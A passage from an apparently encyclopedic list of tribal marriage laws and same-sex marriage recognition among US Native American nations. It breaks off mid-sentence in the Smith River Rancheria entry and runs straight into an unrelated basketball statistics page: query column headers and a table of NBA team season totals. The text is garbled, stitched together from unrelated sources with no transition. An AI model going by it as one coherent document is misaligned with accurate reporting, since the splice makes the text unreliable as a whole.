Chapter 30 of the Lac du Flambeau Band of Lake Superior Chippewa Tribal Code provides at Section 30.103 that marriages by custom and tradition are not recognized and that legal marriages must be in accord with the laws of the states wherein the marriage is consummated or the laws of Wisconsin. Chapter 30 of the Tribal Code authorizes tribal court judges to perform marriages in accordance with the laws of Wisconsin.[57] On October 6, 2014, the US Supreme Court declined to review a decision overturning Wisconsin's ban of same-sex marriages, paving the way for same-sex marriages to begin.[58]
Leech Lake Band of Ojibwe [ edit ]
Title 5, Chapter 2 of the Family Relations Code of the Leech Lake Band of Ojibwe (part of the Minnesota Chippewa Tribe) establishes that the tribe has jurisdiction over all marriages performed within its boundaries and over the marriages of all tribal members regardless of where they reside. Chapter 3 defines marriage as a civil contract between two parties who are capable of solemnizing and consenting to marriage. Chapter 2.D.2 provides that "persons within the jurisdiction of the Leech Lake Band of Ojibwe may contract marriage by declaring in the presence of at least two witnesses who shall sign a declaration that they take each other to be married."[59] On November 15, 2013, the first same-sex marriage took place among the Leech Lake Band of Ojibwe. The band has the most populous reservation in the state of Minnesota, which had legalized same-sex marriage earlier that year.[60]
Little Traverse Bay Bands of Odawa Indians [ edit ]
The Little Traverse Bay Bands of Odawa Indians Tribal Council voted to recognize same-sex marriages on March 5, 2013.[61] The Tribal Chairman signed into law the legislation on March 15, 2013,[62] and a male couple was married that day. Same-sex marriages entered into by the sovereign tribe are recognized by Michigan, the state where the Little Traverse Bay Bands are based, due to the Supreme Court's ruling striking down Michigan's same-sex marriage ban.[63]
Section 13.102C of the Tribal Code states "Marriage means the legal and voluntary union of two persons to the exclusion of all others.[64]
Mashantucket Pequot Tribal Nation [ edit ]
Since April 29, 2010, the Connecticut-based Mashantucket Pequot Tribal Nation's law states that "Two persons may be joined in marriage on the Mashantucket Pequot Reservation" without specifying gender.[65] This was a change from the 2008 code, which specified that "A man and a woman may be joined in marriage on the Mashantucket Pequot Reservation".[66]
In June 2010, the Mashantucket Pequot Tribal Nation approved an anti-discrimination ordinance which prohibits discrimination based on sexual orientation and gender identity.[67][68]
Menominee Indian Tribe of Wisconsin [ edit ]
The Tribal Council of the Menominee Indian Tribe of Wisconsin approved a marriage law on November 3, 2016, which states under Section 6, that marriage "creates a union between two (2) persons, regardless of their sex (or gender)".[69]
Northern Arapaho Tribe [ edit ]
The first same-sex marriage at the Shoshone and Arapaho Tribal Court (which the Northern Arapaho Tribe shares with the Eastern Shoshone Tribe) on the Wind River Indian Reservation in Wyoming was registered on November 14, 2014.[41]
Oglala Sioux Tribe [ edit ]
Chapter 3 of the Law and Order Code of the Oglala Sioux Tribe provides at Section 28 that marriage is a consensual personal relationship arising out of a civil contract, which has been solemnized. Per Section 30, any tribal member of legal age, or with parental consent if a minor, may obtain a marriage license from the Agency Office or consummate marriage under authority of license by the state of South Dakota. Voidable or forbidden marriages include incestuous marriages (§31), those obtained if a party is incapable of consent, through fraud, or within prohibited degrees of consanguinity (§32), and those which occur when another spouse is still living (§33).[70] A memorandum by the tribal attorney from January 25, 2016 confirmed that same-sex marriages are not prohibited under the existing Tribal Code. A first same-sex marriage which was conducted by the tribe's chief judge took place soon after. A number of traditional elders voiced their objection against the attorney's viewpoint.[71]
Oneida Tribe of Indians of Wisconsin [ edit ]
The Marriage Law of the Oneida Tribe of Indians of Wisconsin was revised in May 2015, replacing the phrase "husband and wife" with "spouses", explicitly recognizing same-sex marriage. The change came into effect on June 10, 2015.[72]
Osage Nation [ edit ]
The Osage Nation in Oklahoma has explicitly recognized same-sex marriages performed in other jurisdictions since April 6, 2016.[73] On April 20, 2015, Osage Nation Congresswoman Shannon Edwards introduced a same-sex marriage bill.[74] A referendum on whether same-sex marriages should be performed in the reservation took place on March 20, 2017, and the proposal passed, with 770 voting for same-sex marriage and 700 voting against.[75][76] The law took effect immediately.[77]
Previously, on April 12, 2012, at the 4th Session of the 2nd Congress of the Osage Nation, a bill to establish marriage, dissolution and child support procedures for the Osage jurisdiction was passed. At Chapter 2 Section 5, marriage was defined as a personal relationship between a man and a woman arising out of a civil contract. Furthermore, Section 8 entitled "Marriage Between Persons of Same Gender Not Recognized" provided that same-sex marriages performed in other jurisdictions shall not be recognized as valid by the tribe.[78]
Pascua Yaqui Tribe [ edit ]
Title 5, Chapter 2 of the Constitution of the Pascua Yaqui Tribe provides that marriages which are valid at the place where contracted are recognized. Persons 18 and above, or with parental/guardian consent if a minor, shall obtain a license and be joined by an ordained clergyman, minister, or judge.[79] The tribe is located in the state of Arizona, which legalized same-sex marriage on October 17, 2014.[48]
Pokagon Band of Potawatomi Indians [ edit ]
The Pokagon Band of Potawatomi Indians, in southwestern Michigan and northeastern Indiana, announced on March 9, 2013, that a law recognizing same-sex marriages would enter into force on May 8, 2013.[80] They issued their first such marriage certificate to a male couple on June 20, 2013.[81]
Port Gamble S'Klallam Tribe [ edit ]
The Port Gamble S’Klallam Tribe recognized the passage of Washington Referendum 74, which legalized same-sex marriage in Washington. On December 9, 2012, they offered couples the opportunity to marry at Heronswood Botanical Gardens, which is owned by the tribe, near Kingston.[82]
Prairie Island Indian Community [ edit ]
The Minnesota-based Prairie Island Indian Community, which forms a part of the Mdewakanton Dakota, legalized same-sex marriage on 22 March 2017 by changing its Domestic Relations Code. Section 1, Chapter 3c of the Code now states that "two persons of the same or opposite gender may marry."[83] A previous version had explicitly banned same-sex marriages.[84]
Puyallup Tribe of Indians [ edit ]
On July 9, 2014, the Puyallup Tribe of Indians in the state of Washington legalized same-sex marriage.[85]
Salt River Pima-Maricopa Indian Community [ edit ]
Chapter 10 of the Tribal Code of Ordinances of the Salt River Pima–Maricopa Indian Community of the Salt River Reservation in Arizona provides that all marriages since April 19, 1954 "shall be in accordance with the state laws."[86] U.S. District Court Judge John Sedwick ruled on October 17, 2014 that Arizona's same-sex marriage ban was unconstitutional.[48]
San Carlos Apache Tribe [ edit ]
According to the Constitution and by-laws of the San Carlos Apache Tribe of Arizona, all marriages shall be in accordance with state laws.[87] On October 17, 2014, Arizona's ban on same-sex marriage was declared unconstitutional.[48]
Sault Ste. Marie Tribe of Chippewa Indians [ edit ]
The Sault Ste. Marie Tribe of Chippewa Indians in Michigan changed its marriage laws on July 7, 2015 by removing gender-specific language and also the need obtain marriage licenses from the state of Michigan before getting married.[88] A spokesperson of the tribe noted that these changes were necessary to legalize same-sex marriage and to exercise tribal sovereignty.[89]
Up to 2015, the law of the Sault Ste. Marie Tribe of Chippewa Indians noted that "requirements of the State of Michigan with respect to the qualifications entitling persons to marry within that State's borders, whether now in existence or to become effective in the future, are hereby adopted, both presently and prospectively, in terms of the sex of the parties to the proposed marriage" (Art. 31.104).[90] Same-sex marriage is legal in Michigan. Previously, opposite-sex marriages were recognized by the tribe but the law didn't specify whether or not same-sex marriages were recognized.[90]
Stockbridge-Munsee Community Band of Mohican Indians [ edit ]
On February 2, 2016, the Stockbridge-Munsee Tribal Council in Wisconsin changed its marriage law, stating under Section 61.6 g that "Marriage is a civil contract between two (2) persons, regardless of their sex".[91]
Previously, Chapter 61 of the Stockbridge-Munsee Community Tribal Ordinances provided at Section 61.2 a definition that marriage is a consensual civil contract which creates the legal status of husband and wife. Section 61.3 states that any person age 18 and above or 16 with consent of a parent or guardian may marry. Invalid or prohibited marriages per Section 61.4 are those that would be bigamous, those within prohibited degrees of consanguinity, those in which a party is incapable of understanding a marriage relationship, or those in which one of the parties was divorced within the prior 6 months.[92]
Suquamish Tribe [ edit ]
The Suquamish Tribe of Washington legalized same-sex marriage on August 1, 2011, following a unanimous vote by the Suquamish Tribal Council. At least one member of a same-sex couple has to be an enrolled member of the tribe to be able to marry in the jurisdiction.[93]
Tulalip Tribes of Washington [ edit ]
After changes on May 6, 2016, Chapter 4.20.020(9) of the Tulalip Tribes of Washington's Tribal Code states that marriage is a legal union of two people, regardless of their sex.[94] Previously, Chapter 4.20 of the Code stated at Chapter 4.20.070 that during the ceremony the parties must take each other as husband and wife and the officiant must declare that they are husband and wife.[95]
White Mountain Apache Tribe [ edit ]
According to the White Mountain Apache Domestic Relations Code, enacted on September 9, 2015,[96] Chapter 1, Sections 1.3, 1.5 and 1.6, marriage is a solemnized civil procedure between consenting parties, of legal age or with parental consent, in conformity with state (Arizona) or tribal law, who are free from infectious and communicable diseases and are not prohibited by clan or specified consanguinity.[97] In a 2017 ruling, an Ak-Chin court noted that the White Mountain Apache Tribe recognizes same-sex marriage.[98]
Yavapai-Apache Nation [ edit ]
The Domestic Relations Code of the Yavapai-Apache Nation of Arizona of 1994, states in Chapter 3.1. that "all marriages in the future shall be in accordance with the State laws."[99] On October 17, 2014, U.S. District Court Judge John Sedwick ruled that Arizona's same-sex marriage ban was unconstitutional.[48]
Nations that accept marriages performed elsewhere in the state [ edit ]
Some nations recognize marriages legally performed in other jurisdictions, or the state in which they reside, regardless of whether they may have gendered wording wording in their own laws. The wording of the legal code suggests the same may be true of the Rosebud Sioux Tribe, though recognition of external marriages may be up to the court. An exception to this pattern of blanket external recognition is the Bay Mills Indian Community, which only accepts marriages between a man and a woman from other jurisdictions. The Lummi Nation states that the marriage license may be obtained from elsewhere in the state, but not that marriages performed elsewhere in the state are recognized.
Absentee Shawnee Tribe of Indians of Oklahoma [ edit ]
The Tribal Code of the Absentee Shawnee Tribe of Indians of Oklahoma, Civil Procedure Chapter Eleven – Family Relations §1101, requires marriages to be recorded for tribal persons regardless of whether they were consummated under tribal custom or in accordance with state law. §1102 requires that marriages must conform to the custom and common law of the tribe.[100]
Assiniboine and Sioux Tribes of the Fort Peck Indian Reservation [ edit ]
The Assiniboine and Sioux Tribes of the Fort Peck Indian Reservation in Montana specifies in Title 10 of the Family Code, Chapter 2 – Marriages, that marriages are limited to those of specific degrees of consanguinity. In §210, tribal recognition is granted to all marriages "duly licensed and performed under the laws of the United States, any Tribe, state, or foreign nation."[101]
Bad River Band of the Lake Superior Tribe of Chippewa Indians [ edit ]
The Tribal Code of the Bad River Band of the Lake Superior Tribe of Chippewa Indians, Chapter 126 – Marriage at §126.01(c), provides that tribal procedures shall be concurrent with those established by the laws of Wisconsin. Per §126.04, those who may not marry are those of prohibited consanguinity, those who are currently married, those who are incapable of assent and those who have been divorced within the last 6 months. However §126.13 requires that the parties declare to take each other as husband and wife.[102]
Blue Lake Rancheria [ edit ]
On October 13, 2001, the Business Council of the Blue Lake Rancheria passed an ordinance which at §6C prohibits marriages contracted by same-sex parties. However, at §13 it states that marriages legally contracted outside the boundaries of the Blue Lake Rancheria are valid within the tribal jurisdiction.[103]
Burns Paiute Tribe of the Burns Paiute Indian Colony [ edit ]
Section 5.1.31(1) of the Tribal code of Burns Paiute Tribe of the Burns Paiute Indian Colony of Oregon (Harney County, Oregon) states that "all marriages performed other than as provided for in this Chapter, which are valid under the laws of the jurisdiction where and when performed, are valid within the jurisdiction of the Tribe." Section 5.1.34 Marriage Ceremony states that "no particular form of marriage ceremony is required. However, the persons to be married must declare in the presence of the person performing the ceremony, that they take each other as husband and wife, and he must thereafter declare them to be husband and wife.[104]
Chitimacha Tribe of Louisiana [ edit ]
The Constitution and Comprehensive Codes of Justice of the Chitimacha Tribe of Louisiana, in Title VI- Family Law, Chapter 2 – Marriage states at §201(a) that for a man and a woman to be married they must be 16 years of age, be able to give consent, or must obtain parental consent. §202 prohibits marriages within certain degrees of consanguinity and §203 prohibits those with existing spouses from marrying. However, the tribe recognizes as valid common-law marriages (§210) or duly licensed marriage (§211) which have been recognized as valid under the laws of the United States, any other tribe, state, or foreign nation.[105]
Confederated Tribes of the Umatilla Indian Reservation [ edit ]
The Confederated Tribes of the Umatilla Indian Reservation, located in Umatilla County, Oregon, approved in 2007 a law allowing couples, including same-sex couples, to enter a domestic partnership. The possibility of passing same-sex marriage was discussed at the time, but the tribe decided to pass a domestic partnership law instead.[106]
The Family Law Code of the Confederated Tribes of the Umatilla Reservation states:[107]
Section 2.04 Marriage contract; age of parties : "Marriage is a civil contract entered into by persons at least 18 years of age, who are otherwise capable, and solemnized in accordance with section 2.06."
: "Marriage is a civil contract entered into by persons at least 18 years of age, who are otherwise capable, and solemnized in accordance with section 2.06." Section 2.07 Form of solemnization : "In the solemnization of a marriage no particular form is required except that the parties thereto shall assent or declare in the presence of the person solemnizing the marriage and in the presence of at least two witnesses, that they take each other in marriage. "
: "In the solemnization of a marriage no particular form is required except that the parties thereto shall assent or declare in the presence of the person solemnizing the marriage and in the presence of at least two witnesses, that they take " Section 2.03(A) Other Jurisdictions : "All marriages performed other than as provided for in the Family Law Code, which are valid under the laws of the jurisdiction where and when performed, are valid within the jurisdiction of the Confederated Tribes, provided further that they are not also in violation of section 2.08(A) (=consanguinity) or 2.08(B) (=bigamy). This includes marriages performed in accordance with other Tribe's customs and traditions provided that the Tribe whose customs and traditions are asserted as the basis for a finding of marriage recognizes the marriage as valid."
Confederated Tribes of the Warm Springs Reservation of Oregon [ edit ]
Section 331.160 Marriages Consummated in Other Jurisdictions of the Tribal Code Book of the Confederated Tribes of the Warm Springs Reservation of Oregon states that "for the purposes of this Chapter a marriage that is valid and legal in the jurisdiction where consummated shall be valid and legal within the jurisdiction of the Tribal Court." Section 331.150 Form of Solemnization – Witnesses states that "in the solemnizing of a marriage, no particular form is required, except the parties thereto shall assent or declare in the presence of the minister, priest, or Judge solemnizing the same and in the presence of at least two attending witnesses that they each take the other to be husband and wife." [108][109]
Coushatta Tribe of Louisiana [ edit ]
The Coushatta Tribe of Louisiana Judicial Codes, Title VIII – Domestic Relations provides in §3 that marriages must conform to tribal custom, in §4 that parties must consent and a ceremony must be performed by an authorized representative in front of witnesses. However, §6 states that a "marriage which is valid under the laws of the State of Louisiana shall be recognized as valid for all purposes by the Coushatta Tribe."[110]
Crow Tribe of Montana [ edit ]
The Crow Tribe of Montana's Uniform Marriage and Divorce Act provides at §10-1-104 that marriage is a consensual relationship between a man and a woman arising out of a civil contract. However, at §10-1-113 it states that marriages which are validly contracted under the laws of the place where they occurred are recognized as valid within the Crow Indian Reservation. It further lists as prohibitions to marriage §1.0-1-110 specific degrees of consanguinity and marriage before dissolving a prior union.[111]
Curyung Tribal Council [ edit ]
The Tribal Code of the Curyung Tribal Council, Title II – Family Law, Chapter 6 – Tribal Marriages provides in Section 1 that the tribe shall uphold the validity of any marriage which was valid under the law of the jurisdiction where it was performed. In Section 2, any party age 18, under 18 with parental/guardian consent, may marry if they are unmarried and the tribe approves.[112]
Eastern Band of Cherokee Indians [ edit ]
The Eastern Band of Cherokee Indians, North Carolina – Code of Ordinances, Part II, Chapter 50, family law specifies at §50–1 that the marriage between a man and a woman is recognized if a license is obtained from a register of deeds in their county of residence or the Cherokee Court; however, at §50–2 it states that all marriages will be given full faith and credit by the Eastern Cherokee which have been solemnized according to the laws of North Carolina or any other state or Indian nation.[113]
On November 6, 2014, an amendment to Cherokee Code was submitted to the Eastern Band of Cherokee Indians Tribal Council in order to prohibit same-sex marriage in their jurisdiction.[114] On December 11, 2014, the resolution passed, but it simply means marriage ceremonies will not be performed within tribal jurisdiction. Since licenses are issued by the state and since the Eastern Cherokee recognize marriages legally performed elsewhere as valid, recognition is assured.[115]
Flandreau Santee Sioux Tribe [ edit ]
The Flandreau Santee Sioux Tribe Law & Order Code Volume III §6-1-3 provides that all marriages which are valid under the laws of the jurisdiction where and when they were conducted are valid within the jurisdiction of the Flandreau Santee Sioux Tribe. §6-1-6 does not require a specific procedure other than that the spouses must take each other as husband and wife and be declared as same by the officiant. §6-1-3 lists specific degrees of consanguinity and bigamy as prohibitions to marriage.[116]
Fort Belknap Indian Community [ edit ]
The Fort Belknap Indian Community (aka Gros Ventre (Aaniiih) and Assiniboine (Nakoda) Tribes of Fort Belknap) in their Family Court Act, Part I, §2.1 vests exclusive, original jurisdiction over marriages (and other issues) to the tribal Family Court. At Part VI, §1.3.A.1 allows a license to be issued by the Tribal Court or the State of Montana and §1.3.A.3 provides that a valid marriage exists if a woman and man publicly purport to be wife and husband. Section 2 prohibits marriages wherein one party is already married, within specified degrees of consanguinity, or if the marriage is prohibited by custom of the tribes.[117]
Kickapoo Tribe of Oklahoma [ edit ]
Section A.2 of the Marriage and Divorce Ordinance of the Kickapoo Tribe of Oklahoma, as revised 26 February 2011, specifies that marriage must be between parties of the opposite sex. Section A.3 states that a person can only be married to one person of the opposite sex, and Section A.12 prohibits the tribal court from issuing a license or conducting a marriage between people of the same sex. However, Section A.2 also states that "The Court will recognize the following marital relationships as valid:... (B) Those marriages that are recognized by other jurisdictions, including foreign jurisdictions, that is authenticated by proper documentation that demonstrates consent of a marital relationship."[118]
Kickapoo Traditional Tribe of Texas [ edit ]
Section 19.5 (2) of the Domestic Relationships Code states: "All marriages performed other than as provided for in this Chapter, which are valid under the laws of the jurisdiction where and when performed, are valid within the jurisdiction of the KTTT."
The tribe does not allow same-sex marriages to be performed in its jurisdictions. Section 19.2 (6) states: "Marriage shall mean a consent relationship between a man and a woman that becomes a civil contract if entered into by two people capable of making the contract. Consent alone does not constitute a marriage. A conventional marriage relies upon the issuance of a license and the issuance of a marriage certificate as authorized by this Chapter. A common-law marriage has no documentary requirements."[119]
Mississippi Band of Choctaw Indians [ edit ]
The Domestic Relations Code of the Mississippi Band of Choctaw Indians at §9‐1‐2 recognizes all marriages which have been legally consummated in another jurisdiction. §9‐1‐4 defines marriage as a personal consensual relationship arising out of a civil contract. Prohibited marriages are those involving incest (§9‐1‐5) or bigamy (§9‐1‐6).[120]
Northern Cheyenne Tribe [ edit ]
The Northern Cheyenne Uniform Marriage and Divorce Act at §8-1-5 defines marriage as a personal, consensual relationship between a man and a woman arising out of a civil contract and requires at §8-1-10.D that the parties take each other as husband and wife. However §8-1-10.A valid marriages may be solemnized by a Judge of the Northern Cheyenne Court, a public official authorized to perform marriages, a Justice of the Peace, or in accordance with any religious denomination, Reservation government or native group. Prohibited marriages defined at §8-1-15 include those that would result in bigamy or those of specified degrees of consanguinity.[121]
Omaha Tribe of Nebraska [ edit ]
The Omaha Tribal Code (2013), Title 19 – Domestic Relations indicates at §19-1-2.a that all marriages validly performed in the jurisdiction where and when performed are valid. §19-1-5 provides that during a ceremony of choice, the parties must take each other as husband and wife and the person performing the ceremony must thereafter declare them to be husband and wife. Void and voidable marriages per section §19-1-6 include those within prohibited degrees of consanguinity, those in which a party had a living spouse and those in which a party is incapable of having sexual relations or was forced or coerced.[122]
Oneida Nation of New York [ edit ]
The Oneida Nation of New York's Marriage Code (amended 2004) provides at §103 that a man and a woman may marry if they meet specified requirements. §104 states that those who cannot marry are minors, those with a living spouse, and those within prohibited consanguinity. §107 does not require a specific ceremony but the parties must declare in the presence of the officiant that they take each other as husband and wife. The Oneida Nation recognizes as valid per §111 all valid marriages celebrated outside their territorial jurisdiction.[123]
Pawnee Nation of Oklahoma [ edit ]
The Law and Order Code of the Pawnee Nation of Oklahoma, Title III – Civil Procedure, Chapter Eleven – Family Relations §1101 requires marriages to be recorded for tribal persons regardless of whether they were consummated under tribal custom or in accordance with state law. §1102 requires that marriages must conform to the custom and common law of the Tribe.[124]
Pit River Tribe [ edit ]
The federally recognized Pit River Tribe contains the bands XL Ranch, Big Bend, Likely, Lookout, Montgomery Creek and Roaring Creek Rancherias. According to the Statutes of the Pit River Tribe of California Code, Title 8 – Family/Children's Code, Chapter 3. Marriage, at §202 marriage of a man and a woman requires they are of legal age, or have consent of their parents/guardians, and be capable of consent. §203 describes void marriages as those that would result in bigamy or are between prohibited degrees of consanguinity. §402 does not specify a type of ceremony other than that in the presence of the Judge performing the ceremony, the fianceés must declare that they receive each other as husband and wife. The Pit River Tribal Court shall recognize as valid per §501 all marriages duly licensed and performed under the laws of the United States, any tribe, state, or foreign nation.[125]
Prairie Band Potawatomi Nation [ edit ]
According to the Law and Order Code of the Prairie Band Potawatomi Nation, Title 7 – Family Relations, Chapter 1 at §7-1-1 states that marriages, whether consummated in accordance with the State law or in accordance with Tribal law or custom may be recorded by the tribe and at §7-1-2 that the Tribal Court is the sole authority to determine marital status.[126]
Pueblo of San Ildefonso [ edit ]
The San Ildefonso Pueblo Code, Title X – Domestic Relations, Chapter 23 – Marriage and Divorce, provides at §23.1 that all marriages consummated according to State Law or Tribal custom or tradition are valid. §23.4.1 requires licenses be issues to an unmarried male and unmarried female of 18 years or older, or parental permission be obtained. Prohibited marriages per §23.6 are those which would be bigamous, which are within described degrees of consanguinity, and those which are against tribal custom.[127]
Sac and Fox Nation [ edit ]
The Sac and Fox Nation of Oklahoma Code Of Laws, Title 13 – Family, Chapter 1 – Marriage & Divorce requires at §1–01 that marriages consummated in accordance with the State law or in accordance with Tribal law, which involve a native person, must be recorded with the Clerk of the Tribal District Court.[128]
Sac & Fox Tribe of the Mississippi in Iowa [ edit ]
Title 6 of the Tribal Code, titled "Family Relations of the Sac & Fox Tribe of the Mississippi in Iowa", as updated on 30 August 2017, states in Section 6–1203(c), "Same-gender marriages prohibited. Only persons of the opposite gender may marry." However, under Section 6-1205(a) it says, "all marriages performed other than as provided for in this Code, which are valid under the laws of the jurisdiction where and when performed, are valid within the jurisdiction of the Sac & Fox of the Mississippi in Iowa."[129]
Saint Regis Mohawk Tribe [ edit ]
According to the Saint Regis Mohawk Tribal Marriage Act of 1995, all marriages that were valid in the place where contracted are recognized by the tribe. Licenses from the tribe are issued to legal adults (or minors with parental consent), and a person may be joined by qualified individuals.[130]
Santee Sioux Nation [ edit ]
The Tribal Code of the Santee Sioux Nation, Title III – Domestic Relations, Chapter 3 – Marriages provides at §3.2.A that a man and a woman can obtain a license on the Santee Sioux Nation Reservation as long as one party is a tribal member, the marriage is performed within the reservation, both parties are at least 18 years old, and all licensing requirements are met. §5 states that the tribe recognizes as valid all marriages performed outside the boundaries of the reservation as long as the marriage was legal in the jurisdiction where celebrated.[131]
Shoshone-Bannock Tribes of the Fort Hall Reservation [ edit ]
The Law and Order Code of the Shoshone-Bannock Tribes, Chapter 7 – Domestic Relations, at §2.2 that any unmarried male and any unmarried female of the age of 18 years or older, or with parental consent may consent and consummate a marriage. Voidable marriages involve (§2.4) physical incapacity or if consent was obtained by force or fraud, (§2.5 and §2.6) unions breaching prohibited degrees of consanguinity, and (§2.7) marriages that would result in polygamy. §2.12 requires that the parties declare in the presence of the officiant that they take each other as husband and wife. However, §2.2 confirms that all marriages contracted outside of the Fort Hall Indian Reservation, which are valid under the law of the state or Country in which they were contracted, are valid in the jurisdiction of the tribe.[132]
Smith River Rancheria [ edit ]
The Smith River Rancheria Domestic Relations Chapter provides at §5-1-32 that persons seeking to be married must be of the opposite gender and requires at §5-1-34 the |
- Team Shooting - FG% 2P% 3P% FT% - Team Per Game - MP/G FG/G FGA/G 2P/G 2PA/G 3P/G 3PA/G FT/G FTA/G ORB/G DRB/G TRB/G AST/G STL/G BLK/G TOV/G PF/G PTS/G - Opp Totals - Opp FG Opp FGA Opp 2P Opp 2PA Opp 3P Opp 3PA Opp FT Opp FTA Opp ORB Opp DRB Opp TRB Opp AST Opp STL Opp BLK Opp TOV Opp PF Opp PTS - Opp Shooting - Opp FG% Opp 2P% Opp 3P% Opp FT% - Opp Per Game - Opp FG/G Opp FGA/G Opp 2P/G Opp 2PA/G Opp 3P/G Opp 3PA/G Opp FT/G Opp FTA/G Opp ORB/G Opp DRB/G Opp TRB/G Opp AST/G Opp STL/G Opp BLK/G Opp TOV/G Opp PF/G Opp PTS/G - Advanced - MOV SOS SRS Pace ORtg DRtg eFG% TOV% ORB% FT/FGA Opp eFG% Opp TOV% Opp ORB% Opp FT/FGA * Default sort order is descending Use ascending order
Query Results Query Results Table Team Totals Team Per Game Rk Season Tm Lg G W L W/L% MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS 1 1971-72 LAL* NBA 82 69 13.841 19755 3920 7998 3920 7998 2080 2833 4628 2232 1636 9920 240.9 47.8 97.5 47.8 97.5 25.4 34.5 56.4 27.2 20.0 121.0 2 1966-67 PHI* NBA 81 68 13.840 19515 3912 8103 3912 8103 2319 3411 5701 2138 1906 10143 240.9 48.3 100.0 48.3 100.0 28.6 42.1 70.4 26.4 23.5 125.2 3 1970-71 MIL* NBA 82 66 16.805 19780 3972 7803 3972 7803 1766 2379 4344 2249 1847 9710 241.2 48.4 95.2 48.4 95.2 21.5 29.0 53.0 27.4 22.5 118.4 4 1986-87 LAL* NBA 82 65 17.793 19730 3740 7245 3576 6798 164 447 2012 2550 1127 2515 3642 2428 728 482 1358 1853 9656 240.6 45.6 88.4 43.6 82.9 2.0 5.5 24.5 31.1 13.7 30.7 44.4 29.6 8.9 5.9 16.6 22.6 117.8 5 1967-68 PHI* NBA 82 62 20.756 19780 3965 8414 3965 8414 2121 3338 5914 2197 1851 10051 241.2 48.4 102.6 48.4 102.6 25.9 40.7 72.1 26.8 22.6 122.6 6 1985-86 LAL* NBA 82 62 20.756 19830 3834 7343 3696 6934 138 409 1812 2329 1101 2555 3656 2433 693 419 1467 2031 9618 241.8 46.8 89.5 45.1 84.6 1.7 5.0 22.1 28.4 13.4 31.2 44.6 29.7 8.5 5.1 17.9 24.8 117.3 7 1984-85 LAL* NBA 82 62 20.756 19755 3952 7254 3862 6959 90 295 1702 2232 1063 2550 3613 2575 695 481 1537 1931 9696 240.9 48.2 88.5 47.1 84.9 1.1 3.6 20.8 27.2 13.0 31.1 44.1 31.4 8.5 5.9 18.7 23.5 118.2 8 1961-62 BOS* NBA 80 60 20.750 3855 9109 3855 9109 1977 2715 6080 2049 1909 9687 48.2 113.9 48.2 113.9 24.7 33.9 76.0 25.6 23.9 121.1 9 1966-67 BOS* NBA 81 60 21.741 19615 3724 8325 3724 8325 2216 2963 5703 1962 2138 9664 242.2 46.0 102.8 46.0 102.8 27.4 36.6 70.4 24.2 26.4 119.3 10 1959-60 BOS* NBA 75 59 16.787 3744 8971 3744 8971 1849 2519 6014 1849 1856 9337 49.9 119.6 49.9 119.6 24.7 33.6 80.2 24.7 24.7 124.5 11 1962-63 BOS* NBA 80 58 22.725 3746 8779 3746 8779 2012 2777 5818 1960 2090 9504 46.8 109.7 46.8 109.7 25.2 34.7 72.7 24.5 26.1 118.8 12 1968-69 BAL* NBA 82 57 25.695 19755 3770 8567 3770 8567 2002 2734 4963 1682 2038 9542 240.9 46.0 104.5 46.0 104.5 24.4 33.3 60.5 20.5 24.9 116.4 13 1960-61 BOS* NBA 79 57 22.722 3699 9295 3699 9295 2062 2804 6131 1872 2032 9460 46.8 117.7 46.8 117.7 26.1 35.5 77.6 23.7 25.7 119.7 14 1969-70 MIL* NBA 82 56 26.683 19780 3923 8041 3923 8041 1895 2589 4419 2168 1971 9741 241.2 47.8 98.1 47.8 98.1 23.1 31.6 53.9 26.4 24.0 118.8 15 1986-87 DAL* NBA 82 55 27.671 19880 3594 7373 3363 6720 231 653 2148 2717 1219 2494 3713 2017 688 424 1205 1873 9567 242.4 43.8 89.9 41.0 82.0 2.8 8.0 26.2 33.1 14.9 30.4 45.3 24.6 8.4 5.2 14.7 22.8 116.7 16 1965-66 PHI* NBA 80 55 25.688 19250 3650 8189 3650 8189 2087 3141 5652 1905 2094 9387 240.6 45.6 102.4 45.6 102.4 26.1 39.3 70.7 23.8 26.2 117.3 17 1988-89 PHO* NBA 82 55 27.671 19755 3754 7545 3586 7064 168 481 2051 2594 1095 2619 3714 2280 693 416 1279 1933 9727 240.9 45.8 92.0 43.7 86.1 2.0 5.9 25.0 31.6 13.4 31.9 45.3 27.8 8.5 5.1 15.6 23.6 118.6 18 1991-92 GSW* NBA 82 55 27.671 19880 3767 7427 3513 6664 254 763 1944 2606 1137 2376 3513 2064 854 375 1353 2049 9732 242.4 45.9 90.6 42.8 81.3 3.1 9.3 23.7 31.8 13.9 29.0 42.8 25.2 10.4 4.6 16.5 25.0 118.7 19 1968-69 PHI* NBA 82 55 27.671 19805 3754 8274 3754 8274 2238 3087 4513 1914 2145 9746 241.5 45.8 100.9 45.8 100.9 27.3 37.6 55.0 23.3 26.2 118.9 20 1961-62 LAL* NBA 80 54 26.675 3552 8315 3552 8315 2378 3240 5600 1878 2057 9482 44.4 103.9 44.4 103.9 29.7 40.5 70.0 23.5 25.7 118.5 Rk Season Tm Lg G W L W/L% MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS 21 1967-68 BOS* NBA 82 54 28.659 19705 3686 8371 3686 8371 2151 2983 5666 1798 2147 9523 240.3 45.0 102.1 45.0 102.1 26.2 36.4 69.1 21.9 26.2 116.1 22 1987-88 DEN* NBA 82 54 28.659 19780 3770 7961 3578 7399 192 562 1841 2289 1163 2442 3605 2300 832 401 1186 1982 9573 241.2 46.0 97.1 43.6 90.2 2.3 6.9 22.5 27.9 14.2 29.8 44.0 28.0 10.1 4.9 14.5 24.2 116.7 23 1987-88 POR* NBA 82 53 29.646 19730 3661 7460 3544 7080 117 380 2079 2701 1251 2491 3742 2307 726 347 1351 2091 9518 240.6 44.6 91.0 43.2 86.3 1.4 4.6 25.4 32.9 15.3 30.4 45.6 28.1 8.9 4.2 16.5 25.5 116.1 24 1958-59 BOS* NBA 72 52 20.722 3208 8116 3208 8116 1963 2563 5601 1568 1769 8379 44.6 112.7 44.6 112.7 27.3 35.6 77.8 21.8 24.6 116.4 25 1984-85 DEN* NBA 82 52 30.634 19830 3876 7976 3803 7741 73 235 2016 2568 1331 2303 3634 2266 894 424 1382 2152 9841 241.8 47.3 97.3 46.4 94.4 0.9 2.9 24.6 31.3 16.2 28.1 44.3 27.6 10.9 5.2 16.9 26.2 120.0 26 1988-89 NYK* NBA 82 52 30.634 19805 3701 7611 3315 6464 386 1147 1779 2366 1322 2265 3587 2083 900 